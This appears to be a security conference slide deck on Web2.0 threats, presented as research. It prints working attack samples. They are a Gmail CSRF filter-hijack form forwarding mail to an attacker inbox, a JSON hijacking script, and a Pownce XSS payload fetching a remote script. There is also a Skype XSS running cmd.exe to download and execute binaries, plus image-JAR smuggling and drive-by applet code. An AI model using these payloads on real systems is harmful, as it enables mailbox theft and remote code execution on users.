pdp

information security researcher, hacker, founder of GNUCITIZEN
ABOUT GNUCITIZEN

• Think tank
  • Research
  • Training
  • Consultancy

• Ethical Hacker Outfit
  • Responsible disclosure
  • We have nothing to hide

• Tiger Team
  • The only active Tiger Team in UK.
  • Proud to have some of the best pros in our team.
OTHERS

- Hakiri
  - Hacker Lifestyle
- Spin Hunters
  - Social Hacking Research House
WEB2.0 SECURITY

overview of various Web2.0 vulnerabilities and threats
OBJECTIVES

• I was planning to...
  • Research Design Issues.
  • Innovate.
  • Mix & Match Ideas.

• I am not a bug hunter, therefore...
  • Concentrate on the practicalities.
  • Look for things I could use in my work.
  • Have fun.
WHAT IS WEB2.0
WEB2.0 IS...

- Marketing buzzword
- Invented by O'Reilly Media in 2003
- Wikis, Blogs, AJAX, Social Networks, etc...
- APIs, SOA (Service Oriented Architecture)
- Data in the Cloud
- Applications on Demand
WEB2.0 SECURITY

• What is Web2.0 Security?
  • The security model of Web2.0 is represented by the grand total of every participating technology.
EVIL TWIN ATTACKS
EVIL TWIN ATTACKS

- Social Networks connect people.
- Everybody is welcome to join.
- There are no means to verify user's identity.
  - Therefore identities are forgable.
  - LinkedIn can be abused.
  - Facebook can be abused.
  - Any other social network can be abused.
SOCIAL PHISHING

• Social Networks like user-generated content.
• Embedding images is a standard function.
• Images can point to protected URLs.
  • Basic Authentication will pop-up upon rendering.
  • Users will be tricked into entering credentials.
    • ...because it is annoying. :)
    • ...or maybe because like to comply with the system
    • ...all in all, it breaks the trust model
HACKING OPENID

- Affected by the general types of vulnerabilities.
- Raises phishing concerns.
- Better then the current identification processes.
- ...but could have a devastating effect.
LIVE PROFILING

- Snooping onto people's feeds
  - Twitter, Blogs, etc
- Snooping onto people's locations
  - Location extraction services, Yahoo Pipes
- Extracting meta data from public content
  - Pictures contains sensitive information like geo coordinates.
- Querying Social Networks
  - People give sensitive information for free.
  - Your friends give information about you.
THE GMAIL HIJACK TECHNIQUE

User logs into GMail
THE GMAIL HIJACK TECHNIQUE

User visits Evil Site
THE GMAIL HIJACK TECHNIQUE
THE GMAIL HIJACK TECHNIQUE

• Via a CSRF Redirection Utility

• http://www.gnucitizen.org/util/csrf
  ?_method=POST&_enctype=multipart/form-data
  &_action=https%3A//mail.google.com/mail/h/ewt1jmuj4ddv/%3Fv%3Dprf
  &cf2_emc=true
  &cf2_email=evilinbox@mailinator.com
  &cf1_from
  &cf1_to
  &cf1_subj
  &cf1_has
  &cf1_hasnot
  &cf1_attach=true
  &tfi%5Es=z
  &irf=on&nvp_bu_cftb=Create%20Filter
THE GMAIL HIJACK TECHNIQUE

• HTML Code
  
  ```html
<html>
<body>
<form name="form" method="POST" enctype="multipart/form-data"
  action="https://mail.google.com/mail/h/ewtljmuj4ddv/?v=prf">
<input type="hidden" name="cf2_emc" value="true"/>
<input type="hidden" name="cf2_email" value="evilinbox@mailinator.com"/>
<input type="hidden" name="cf1_from" value=""/>
<input type="hidden" name="cf1_to" value=""/>
<input type="hidden" name="cf1_subj" value=""/>
<input type="hidden" name="cf1_has" value=""/>
<input type="hidden" name="cf1_hasnot" value=""/>
<input type="hidden" name="cf1_attach" value="true"/>
<input type="hidden" name="tfi" value=""/>
<input type="hidden" name="s" value="z"/>
<input type="hidden" name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script>form.submit();</script>
</body>
</html>```
SOMEONE GOT HACKED

It is unfortunate, but it gives us a good case study!
HIJACKING JSON

- Affects most AJAX applications
- It has been used to hack Google accounts
- Simple array overwrite technique

```javascript
function Array() {
    var obj = this;
    var ind = 0;
    var getNext;
    getNext = function(x) {
        obj[ind++] setter = getNext;
        if(x) {
            var str = x.toString();
            if ((str != 'ct') && (typeof x != 'object') &&
                (str.match(/@/))) {
                // alert email
                alert(str);
            }
        }
    }
    this[ind++] setter = getNext;
}
```
THE SAMY WORM
THE POWNCE WORM

Ack! There's a bug in our codes.
Be nice and email us about it?

(go home)
THE POWNCE WORM

• Hypothetical Worm based on a real bug.
• Point of injection:
  • [html junk]
    [point of injection; 16 chars max]
  [html junk]
  [correctly sanitized, safely rendered user-supplied data]
  [html junk]
THE POWNCE WORM

• Pseudo exploit:
  • [html junk]
    */<script>/*
  [html junk]
    */ XSS Payload which does not need to contain HTML meta characters /*
  [html junk]

• Actual exploit:
  • [html junk]
    */<script>/*
  [html junk]
  */document.write(atob(/PHNjcmlwdCBzcmM9Imh0dHA6Ly9ja2Vycy5vcmcvcyI+PC9y
Y3JpcHQ+PCEtLQ==/.toString().substr(1,56)));///*
  [html junk]
THE POWNCE WORM

This page has been Hacked!
VULNERABILITIES IN SKYPE

• Deadly Combination
  • DailyMotion/Metacafe + XSS + Skype = Ownage

• Code
  • <script>
    var x=new ActiveXObject("WScript.Shell");
    var someCommands="Some command-line commands to download and execute binary file";
    x.run('cmd.exe /C "'+someCommands+'"');
  </script>

• Vector
  • skype:?multimedia_mood&partner=metacafe&id=1053760

• Credits
  • Miroslav Lučinskij
  • Aviv Raff
VULNERABILITIES IN SKYPE

• Pwnable via the AIR
  • AIRPWN
  • Karma
• We knew about it last year!
MAKING MONEY WITH XSS

- We need large number of XSS vectors.
- For each vector we inject ads for payload.
- We use Web2.0 distribution channels to infect.
  - Social Bookmarking sites
  - Crowdsourcing sites
  - Social profiles
  - ..etc
- We make money!
FIREFOX JAR: URL HANDLER ISSUES

• Basic jar: Example
  - jar:[url to archive]![path to file]
  - jar:https://domain.com/path/to/jar.jar!/Pictures/a.jpg

• When uploaded and accessed it executes within the origins of the [url to archive]
FIREFOX CROSS-SITE SCRIPTING CONDITIONS OVER JAR: URLs

• Requires 302 Open Redirect
  • `<html><head>
    <script
  </head></html>`

• The one above pwns Google
  • Vector developed by Beford
THE JAVA RUNTIME AND JAR

- It pokes services behind the Firewall
- It works with File Upload facilities
- Social Engineering is Required!!!
- It thinks of pictures like JARs
THE JAVA RUNTIME AND JAR

• Get an image from the Web:
  • fancyimage.jpg

• Prepare a JAR:
  • jar cvf evil.jar Evil*.class

• Put them together:
  • copy /B fancyimage.jpg + evil.jar fancyevilimage.jpg

or

  cp fancyimage.jpg fancyevilimage.jpg
cat evi.jar >> fancyevilimage.jpg
DRIVE BY

Java
• ANT building Script

```xml
<project name="sign" default="sign" basedir=".">
  <property name="key.CN" value="GNUCITIZEN"/>
  <property name="key.OU" value="GNUCITIZEN"/>
  <property name="key.O" value="GNUCITIZEN"/>
  <property name="key.C" value="UK"/>
  <property name="applet.class" value=""/>
  <property name="applet.width" value="200"/>
  <property name="applet.height" value="200"/>
  <property name="jar" value="${target}.jar"/>
  <property name="htm" value="${target}.htm"/>
  <target name="compile">
    <javac srcdir="."/>
  </target>
  <target name="pack" depends="compile">
    <jar basedir="." destfile="${jar}"/>
  </target>
  <target name="sign">
    <delete file=".tmp.jks"/>
    <genkey alias="key" storepass="abc123" keystore=".tmp.jks" keyalg="RSA" validity="365">
      <dname>
        <param name="CN" value="${key.CN}"/>
        <param name="OU" value="${key.OU}"/>
        <param name="O" value="${key.O}"/>
        <param name="C" value="${key.C}"/>
      </dname>
    </genkey>
    <signjar jar="${jar}" alias="key" storepass="abc123" keystore=".tmp.jks" keyalg="RSA" validity="365"/>
    <delete file=".tmp.jks"/>
  </target>
  <target name="appletize">
    <echo file="${htm}" message="&lt;APPLET code="${applet.class}" archive="${jar}" width=${applet.width} height=${applet.height} &gt;"/>
  </target>
  <target name="clean">
    <delete file="${htm}"/>
    <delete file=".tmp.jks"/>
    <delete>
      <fileset dir="." includes="*.class"/>
    </delete>
  </target>
  <target name="wipe" depends="clean">
    <delete file="${jar}"/>
  </target>
</project>
```
DRIVE BY JAVA

• Malicious Applet

```java
import java.io.*;
import java.net.*;
import java.awt.*;
import java.applet.*;
import java.awt.event.*;

public class SuperMario3D extends Applet {
    public void init() {
        try {
            Process p = Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            //do nothing
        }
    }
}
```
SERVICE ABUSE

- Abusing Search Engines
  - We can make search engines to find things for us even when they haven't been indexed yet.

- Abusing VoIP Web2.0 Services
  - We can call or scam people by using new age Web2.0 VoIP services.

- Abusing RSS and ATOM
  - We can use RSS and ATOM to spread, distribute malicious logics in a targeted manner.
  - We can also use RSS and ATOM to hide malicious activities.
SERVICE ABUSE

• Abusing aggregation services
  • The better aggregated the malicious content is the higher impact it has and the more people it reaches.
  • How do you fight that?
• Abusing blogs and content
  • Splog Nets are the business of the future.
ABUSING APPLICATION HOSTING SERVICES

• Technology
  • Amazon Elastic Cloud
  • Google Mashup Editor
  • Google App Engine
  • Yahoo Pipes
  • ...etc

• Result
  • MPAC and WebAttacker on steroids
ABUSING APPLICATION HOSTING SERVICES

[Image of a computer screen showing a Google Mashup Editor window with HTML code for a Messenger application]
4th GENERATION ROOTKITS

- The browser is a middleware.
- The closer to the data the better.
- Browsers are extensible (XML, RDF, JS).
- XML and JS are quite polymorphic.
- Browsers are allowed to access the Web.
- Browser-based malware is portable.
4th GENERATION ROOTKITS

• Closer look at Browser-based Rootkits
  • Obscure browser extensions
  • Hidden browser extensions
  • Backdoored install base
  • 3rd-party rootkits
  • Extension of an extension rootkis
CONCLUSION

• In summary...
  • Web2.0 security is not only about AJAX.
  • In Web2.0, security problems are not necessarily data validation problems.
  • Sometimes, it is irrelevant whether servers are vulnerable or not. The data can be retrieved anyway.
  • Non-executable stacks and other types of software security features are only helpful when attackers want to compromise your computer.
  • Your data is still on the Web.
CONCLUSION

• In summary...

  • It is all about who has the information.
  • It is all about who can find the information.
  • Information is everything. It is the most valuable digital asset.
  • Web2.0 makes attackers live a lot easier.
  • Web2.0 is not bad but new security problems will emerge.
  • We must learn how to see to the general picture.
If today’s malware mostly runs on Windows because it’s the commonest executable platform, tomorrow’s will likely run on the Web, for the very same reason. Because, like it or not, Web is already a huge executable platform, and we should start thinking at it this way, from a security perspective.

Giorgio Maone (NoScript)
...secure + secure != 2 x secure).

dp (GNUCITIZEN)
Thank You for Attending!